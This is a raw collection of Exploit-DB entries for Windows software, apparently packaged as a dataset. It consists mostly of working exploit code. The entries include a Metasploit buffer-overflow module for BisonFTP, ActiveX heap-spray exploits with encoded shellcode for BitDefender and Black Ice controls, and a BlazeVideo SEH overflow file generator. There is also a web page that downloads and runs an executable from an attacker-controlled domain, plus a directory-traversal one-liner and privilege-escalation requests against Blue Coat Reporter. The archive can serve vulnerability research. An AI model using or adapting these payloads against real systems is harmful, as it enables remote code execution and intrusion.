deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17810
Description: BisonWare BisonFTP Server 3.5 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-09-09
Author: SecPod Research

Exploit:
##############################################################################
#
# Title    : BisonFTP Server Remote Buffer Overflow Exploit
# Author   : Veerendra G.G SecPod Technologies (www.secpod.com)
# Advisory : http://secpod.org/blog/?p=384
#            http://secpod.org/msf/bison_server_bof.rb
# Version  : BisonFTP Server <= v3.5
# Date     : 09/07/2011
#
###############################################################################

##
# $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BisonFTP Server Remote Buffer Overflow Vulnerability',
			'Description'    => %q{
						This module exploits a buffer overflow vulnerability
						found in the BisonFTP Server <= v3.5.
			},
			'Author'         => 
				[
					'localh0t',		# Initial PoC
					'veerendragg @ SecPod',	# Metasploit Module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1.0 $',
			'References'     =>
				[
					[ 'BID', '49109'],
					[ 'CVE', '1999-1510'],
					[ 'URL', 'http://secpod.org/blog/?p=384'],
					[ 'URL', 'http://www.exploit-db.com/exploits/17649'],
					[ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space' => 388,
					'BadChars' => "\x00\x0a\x0d",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 EN',
						{
							'Ret' => 0x0040333f, # call edx from Bisonftp.exe
							'Offset' => 1432
						}
					],
				],
			'DisclosureDate' => 'Aug 07 2011',
			'DefaultTarget'	=> 0))
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")
		print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
		sploit = rand_text_alpha(1028)					## Random Buffer
		sploit << "\x90" * 16						## Padding
		sploit << payload.encoded					## Encoded Payload
		sploit << "\x90" * (388 - payload.encoded.length)		## More Nops
		sploit << [target.ret].pack('V')				## Return Address
		sploit << rand_text_alpha(39)					## MOre Buffer

		print_status("Sending payload...")
		sock.put(sploit)

		handler
		disconnect
	end

end
Exploit-DB #30883
Description: BitDefender AntiVirus 2008 - 'bdelev.dll' ActiveX Control Double-Free
Type: remote
Platform: windows
Date: 2007-11-11
Author: Lionel d'Hauenens

Exploit:
source: https://www.securityfocus.com/bid/26824/info

A BitDefender Antivirus 2008 ActiveX control is prone a double-free vulnerability because of a flaw in the way that the 'bdelev.dll' library handles certain object data prior to returning it.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed exploit attempts likely result in denial-of-service conditions.

this.Oleaut32 = new Array();
this.Oleaut32["cache"] = new Array();
this.base = "A";
while (base.length<0x8000) base+= base;
this.base = base.substring (0, (0x8000-6)/2);
CollectGarbage();
3
// Fill the cache with block of maximum size
for (i=0;i<6;i++)
{
this.Oleaut32["cache"].push(base.substring (0, (0x20-6)/2));
this.Oleaut32["cache"].push(base.substring (0, (0x40-6)/2));
this.Oleaut32["cache"].push(base.substring (0, (0x100-6)/2));
this.Oleaut32["cache"].push(base.substring (0, (0x8000-6)/2));
}
this.bitdefender = new ActiveXObject('bdelev.ElevatedHelperClass.1');
// free cache of oleaut32
delete Oleaut32["cache"];
CollectGarbage();
// POC
for (pid=0;pid<4000;pid+=4)
{
try
{
// Find first Module_Path
var Module_Path = bitdefender.Proc_GetName_PSAPI (pid);
// Display the original string in free block memory
///////////////////////////////////////////////////
alert (Module_Path); -> C:\Windows\... (exemple)
/////////////////////
// Uses free block
var y = base.substring(0,Module_Path.length);
// Display the result of the crushing of the memory
///////////////////////////////////////////////////
alert (Module_Path); -> AAAAAAAAAAAA...
/////////////////////
break;
}
catch(e) {}
}
Exploit-DB #4663
Description: BitDefender Online Scanner 8 - ActiveX Heap Overflow
Type: remote
Platform: windows
Date: 2007-11-27
Author: Nphinity

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
    BitDefender OScan8.ocx / Oscan81.ocx ActiveX Exploit
 
=-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-
 
http://research.eeye.com/html/advisories/published/AD20071120.html
http://secunia.com/advisories/27717/
 
 
This works not 100% - it corrupts random memory in the browser and Launches calculator with success.
 
Users have had this installed since 2006!  With no autoupdates :)
 
Google Search of BD OSCAN =  
http://www.google.com/search?hl=ar&safe=off&rls=fr&hs=P4T&q=%225D86DDB5-BDF9-441B-9E9E-D4730F4EE499%22&btnG=Search
 
Modify the values in these to help keep it stable:
'SiteAuthority' - different memory address ?? - it turns values to literal address !
while (SiteAuthority.length < 60000) - Maybe larger/smaller?
 
 
Crashes IE even if it fails
 
Tested with Forum XSS Injections + Wordpress 0day + CMS Injections
 
Nphinity  
#SAMAH/#SYR/#SHAHADA
mesra.kl.my.dal.net
 
 
 
 
=-=-=-=-=-=-=-=-=-=-=-=-PRIVATE! NOT PUBLIC!=-=-=-=-=-=-=-=-=-=-=-=-
 
 
 
 
<html>
 
 
<object classid='clsid:5D86DDB5-BDF9-441B-9E9E-D4730F4EE499' id='BD'>
</object>
 
<script language="javascript">
 
 
SCPL = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +  
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
 
MemContent = unescape("%u0606");
 
HSize = 20;
 
FreeSpace = HSize+SCPL.length
 
while (MemContent.length<FreeSpace)  
{
    MemContent+=MemContent;
}
 
FB = MemContent.substring(0, FreeSpace);
 
Mem = MemContent.substring(0, MemContent.length-FreeSpace);
 
while(Mem.length+FreeSpace<0x60000)  
{
    Mem = Mem+Mem+FB;
}
 
memory = new Array();
 
for (x=0;x<600;x++) memory[x] = Mem + SCPL;
 
var SiteAuthority = '%%';
 
while (SiteAuthority.length < 60000)  
{
    SiteAuthority+='\x30\x36\x30\x36';
}
 
BD.initx(SiteAuthority);
 
</script>
</html>

# milw0rm.com [2007-11-27]
Exploit-DB #31039
Description: BitDefender Products - Update Server HTTP Daemon Directory Traversal
Type: remote
Platform: windows
Date: 2008-01-19
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/27358/info

BitDefender Update Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access potentially sensitive information that could aid in further attacks.

BitDefender Security for File Servers, BitDefender Enterprise Manger, and other BitDefender products that include the Update Server are vulnerable. This issue affects Update Server when running on Windows; Linux and UNIX variants may also be affected. 

echo -e "GET /../../boot.ini HTTP/1.0\r\n\r\n" | nc <server> <port>
Exploit-DB #31032
Description: BitTorrent 6.0 / uTorrent 1.6/1.7 - Peers Window Remote Code Execution
Type: remote
Platform: windows
Date: 2008-01-16
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27321/info

BitTorrent and uTorrent are prone to a remote code-execution vulnerability because the applications fail to perform adequate boundary checks on user-supplied data.

Attackers can exploit this issue to execute arbitrary code in the context of the application or to crash the affected application, denying service to legitimate users.

This issue affects the following versions:

BitTorrent 6.0
uTorrent 1.7.5
uTorrent 1.8-alpha-7834

Earlier versions may be affected as well.

UPDATE (January 24, 2008): This issue was originally documented as a denial-of-service issue, but reliable reports suggest that this issue can be exploited to execute arbitrary code. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31032.zip
Exploit-DB #17416
Description: Black Ice Fax Voice SDK 12.6 - Remote Code Execution
Type: remote
Platform: windows
Date: 2011-06-20
Author: mr_me

Exploit:
<html>
<!--
Black Ice Fax Voice SDK v12.6 - integer dereference code execution exploit
Date: Jun 20, 2011
Link: http://www.blackice.com/Fax%20C++%20ActiveX.htm
Version: 12.6
Tested on: WinXP - IE 6 & 7
 
Class FAX
GUID: {2E980303-C865-11CF-BA24[PII_REDACTED]00}
Number of Interfaces: 1
Default Interface: _DFAX
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

Meh, despite the above, i found this bug slightly amusing >:) 

Theres an integer overflow in this section of fax.ocx which is how i found the dereference vulnerability.

1000CFA3	MOV ECX,[EBP+8]		< --- get our variable into ECX
1000CFA6	MOV EDX,[ECX]	  	< --- dereference
1000CFA8	MOV ECX,[EBP+8]		< --- get our variable into ECX again (meh)
1000CFAB	CALL [EDX+14]		< --- !!!!

and...

EIP 1000CFA6 -> 51EC8B55
EAX 1000CF82 -> 51EC8B55
EBX 0013EC68 -> 01D29E90
ECX FFFFFFFF
EDX 73F360D3 -> EB0C4589
EDI 0013EB98 -> 73F4D682
ESI 00000000
EBP 0013EB94 -> 0013EC10
ESP 0013EB90 -> 0003A1A0

vulnerable methods:
GetFirstItem()
GetItemQueue()

prob more.
-->

<object classid='clsid:2E980303-C865-11CF-BA24[PII_REDACTED]00' id='target'/></object>
<script language='javascript'>
// Calc.exe
var shellcode = unescape(
    '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'
);
 
var nops = unescape('%u0a0a%u0a0a');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while(nops.length < slackspace) {
    nops += nops;
}
var fillblock = nops.substring(0, slackspace);
var block = nops.substring(0, nops.length - slackspace);
while((block.length + slackspace) < 0x50000) {
    block = block + block + fillblock;
}
memory=new Array();
for(counter=0; counter<200; counter++){
    memory[counter] = block + shellcode;
}
var boom = 168430090; // 0x0a0a0a0a
target.GetItemQueue(boom);
</script>
</html>
Exploit-DB #5750
Description: Black Ice Software Inc Barcode SDK - 'BIDIB.ocx' Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2008-06-05
Author: shinnai

Exploit:
-----------------------------------------------------------------------------
 Black Ice Software Inc Barcode SDK (BIDIB.ocx) Arbitrary File Download
 and Memory Corruption
 url: http://www.blackice.com

 File : BIDIB.ocx
 Ver. : 10.9.3.0
 CLSID: {D2797899-BE27-4CDB-892F-4FDC26EA9BA9}

 Mark.: RegKey Safe for Script: True
        RegKey Safe for Init: True
        Implements IObjectSafety: False

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Windows XP Professional SP3 fully patched, with Internet Explorer 7
 Windows 2k Professional SP3 fully patched, with Internet Explorer 6

 In memory of rgod
-----------------------------------------------------------------------------
<object classid='clsid:D2797899-BE27-4CDB-892F-4FDC26EA9BA9' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the arbitrary file download test'>

<input language=VBScript onclick=MemoryCorruption() type=button value='Click here to start the memory corruption test'>

<script language='vbscript'>
 Sub tryMe
  test.DownloadImageFileURL "http://somesite.com/seed.exe", "C:\seed.exe"
 End Sub
</script>

<script language='vbscript'>
 Sub MemoryCorruption
  buff_0 = String(2068, "A")
  
  buff_1 = String(2068, "B")
  
  test.DownloadImageFileURL buff_0, buff_1
 End Sub  
</script>

# milw0rm.com [2008-06-05]
Exploit-DB #5747
Description: Black Ice Software Inc Barcode SDK - 'BITiff.ocx' Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2008-06-05
Author: shinnai

Exploit:
 Black Ice Software Inc Barcode SDK (BITiff.ocx) Remote Buffer Overflow
 url: http://www.blackice.com

 File : BITiff.ocx
 Ver. : 10.9.3.0
 CLSID: {2324B5B7-D3EF-464C-BB35-06EFF8F11EB3}

 Mark.: RegKey Safe for Script: True
        RegKey Safe for Init: True
        Implements IObjectSafety: False

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Windows XP Professional SP3 fully patched, with Internet Explorer 7

 In memory of rgod
-----------------------------------------------------------------------------
<object classid='clsid:2324B5B7-D3EF-464C-BB35-06EFF8F11EB3' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff = String(260, "A")

  get_EIP = unescape("%EB%BA%3F%7E")

  nop = String(12, unescape("%90"))
  
  shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
              unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
              unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
              unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
              unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
              unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
              unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
              unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
              unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
              unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
              unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
              unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
              unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
              unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
              unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
              unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
              unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
              unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
              unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
              unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
              unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

  egg = buff + get_EIP + nop + shellcode + nop

  test.SetByteOrder egg, 1
 End Sub
</script>

# milw0rm.com [2008-06-05]
Exploit-DB #38394
Description: BlazeVideo HDTV Player Standard - '.plf' File Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2013-03-19
Author: metacom

Exploit:
source: https://www.securityfocus.com/bid/58624/info

BlazeVideo HDTV Player Standard is prone to a remote buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed exploit attempts may result in a denial-of-service condition.

BlazeVideo HDTV Player Standard 6.6.0.2 is vulnerable; other versions may also be affected. 

# Exploit Title:BlazeVideo HDTV Player Standard 6.6.0.2 SEH Buffer Overflow
# Date: 19-03-2013
# Exploit Author: metacom
# RST
# Vendor Homepage: http://www.blazevideo.com/hdtv-player/
# Download version 6.6.0.2: www.blazevideo.com/download.php?product=blazevideo-hdtv-std
# Version: BlazeVideo HDTV Player Standard 6.6.0.2
# Tested on: Windows 7 German

filename="poc.PLF"



junk = "http://"+ "\x41" * 601 
nseh = "\xEB\x06\x90\x90"
seh  = "\x5F\x17\x60\x61"  #6160175F \EPG.dll
nops = "\x90" * 20
#windows/exec CMD=calc.exe bad \x00\x0a\x1a  
shellcode= ("\xb8\xaf\x8c\x07\x94\xda\xcd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x33\x31\x42\x12\x83\xea\xfc\x03\xed\x82\xe5\x61\x0d\x72\x60"
"\x89\xed\x83\x13\x03\x08\xb2\x01\x77\x59\xe7\x95\xf3\x0f\x04"
"\x5d\x51\xbb\x9f\x13\x7e\xcc\x28\x99\x58\xe3\xa9\x2f\x65\xaf"
"\x6a\x31\x19\xad\xbe\x91\x20\x7e\xb3\xd0\x65\x62\x3c\x80\x3e"
"\xe9\xef\x35\x4a\xaf\x33\x37\x9c\xa4\x0c\x4f\x99\x7a\xf8\xe5"
"\xa0\xaa\x51\x71\xea\x52\xd9\xdd\xcb\x63\x0e\x3e\x37\x2a\x3b"
"\xf5\xc3\xad\xed\xc7\x2c\x9c\xd1\x84\x12\x11\xdc\xd5\x53\x95"
"\x3f\xa0\xaf\xe6\xc2\xb3\x6b\x95\x18\x31\x6e\x3d\xea\xe1\x4a"
"\xbc\x3f\x77\x18\xb2\xf4\xf3\x46\xd6\x0b\xd7\xfc\xe2\x80\xd6"
"\xd2\x63\xd2\xfc\xf6\x28\x80\x9d\xaf\x94\x67\xa1\xb0\x70\xd7"
"\x07\xba\x92\x0c\x31\xe1\xf8\xd3\xb3\x9f\x45\xd3\xcb\x9f\xe5"
"\xbc\xfa\x14\x6a\xba\x02\xff\xcf\x34\x49\xa2\x79\xdd\x14\x36"
"\x38\x80\xa6\xec\x7e\xbd\x24\x05\xfe\x3a\x34\x6c\xfb\x07\xf2"
"\x9c\x71\x17\x97\xa2\x26\x18\xb2\xc0\xa9\x8a\x5e\x29\x4c\x2b"
"\xc4\x35")

f = open(filename,"wb")
f.write(junk+nseh+seh+nops+shellcode)
f.close()
print("Finish")
Exploit-DB #34532
Description: Bloodshed Dev-C++ 4.9.9.2 - Multiple EXE Loading Arbitrary Code Executions
Type: remote
Platform: windows
Date: 2010-08-25
Author: storm

Exploit:
// source: https://www.securityfocus.com/bid/42737/info

Bloodshed Dev-C++ is prone to a vulnerability that lets attackers execute arbitrary code. This issue affects 'make.exe' and 'minw32-make.exe'.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to compile a file from a network share location that contains a specially crafted executable file.

Bloodshed Dev-C++ 4.9.9.2 is vulnerable; other versions may also be affected. 

/*
Exploit Title: Bloodshed Dev-C++ Binary Hijacking Exploit (make.exe, mingw32-make.exe)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Version: 4.9.9.2
Tested on: Windows Vista SP2

http://www.gonullyourself.org/

gcc -o make.exe Dev-C++-Binary.c
gcc -o mingw32-make.exe Dev-C++-Binary.c

...and place in appropriate directory.  Executes your code four times.

Every file extension associated with Dev-C++ (.c, .cpp, .dev, .h, .hpp, .rc, .template) is affected.  Dev-C++ Package Manager files (.devpackage, .devpak) are not affected, however.

*/

#include <windows.h>

int main()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #28884
Description: BlooMooWeb 1.0.9 - ActiveX Control Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2006-10-31
Author: maxgipeh

Exploit:
source: https://www.securityfocus.com/bid/20827/info

BlooMooWeb ActiveX control is prone to multiple vulnerabilities, including:

- an arbitrary file-download issue
- an arbitrary code-execution issue
- an arbitrary file-deletion issue. 

An attacker can exploit these issues to download arbitrary files, execute arbitrary code within the context of the affected application, and delete arbitrary files.

<html>
<head>
<script language="JavaScript">

var binaryUrl="http://some_attacker_controlled_domain/attackerfile.exe";

function spawn2()
{
        aa1=o2obj.GetInstallationDir(null);
        aa2="BlooMooWEB.exe";
        o2obj.BW_DownloadFile(binaryUrl,aa1+aa2,"callback001");
}

function callback001( msgCode, param1, param2, param3 )
{
        if(msgCode == 'DOWNLOAD_COMPLETE' )
        {
                o2obj.BW_LaunchGame("treleferekuku");
        }
}

</script>
</head>

<body onload="spawn2()">
<object ID="o2obj" WIDTH=0 HEIGHT=0
    CLASSID="CLSID:22E9EFBA-114C-4DA0-AE72-D8F2C7138002"
</object>
</body>
</html>
Exploit-DB #25698
Description: Blue Coat Reporter 7.0/7.1 - License HTML Injection
Type: remote
Platform: windows
Date: 2005-05-24
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/13725/info

Blue Coat Reporter is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application; earlier versions are reported vulnerable. 

POST
/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.authentication.licensing_view+volatile.admin_gui+true
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=invalid; authusername7=invalid; authpassword7=invalid
Content-Length: 100
Exploit-DB #25697
Description: Blue Coat Reporter 7.0/7.1 - Privilege Escalation
Type: remote
Platform: windows
Date: 2005-05-24
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/13723/info

Blue Coat Reporter is prone to a remote privilege escalation vulnerability. This issue is due to a failure in the application to properly authenticate a user prior to permitting access to administrator functions.

A remote authenticated user can manipulate the form for adding new users and create a new user with administrator access.

The vendor has addressed this issue in the upcoming version 7.1.2 of the application. 

The following proof of concept is available using the user account test:
POST /?dp+templates.admin.users.user_form_processing HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Referer:
http://www.example.com:8987/?dp+templates.admin.users.user_form+volatile.form_type+new
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com:8987
Pragma: no-cache
Cookie: session_id=d9430f0d59eb43871e2c38ab84627232; authusername7=test;
authpassword7=098f6bcd4621d373cade4e832627b4f6
Content-Length: 170

submit=Save+and+Close&volatile.user.username=hurz&volatile.user.[CREDENTIAL_REDACTED].user.administrator=true&volatile.
user.profiles.0=profile1&volatile.form_type=new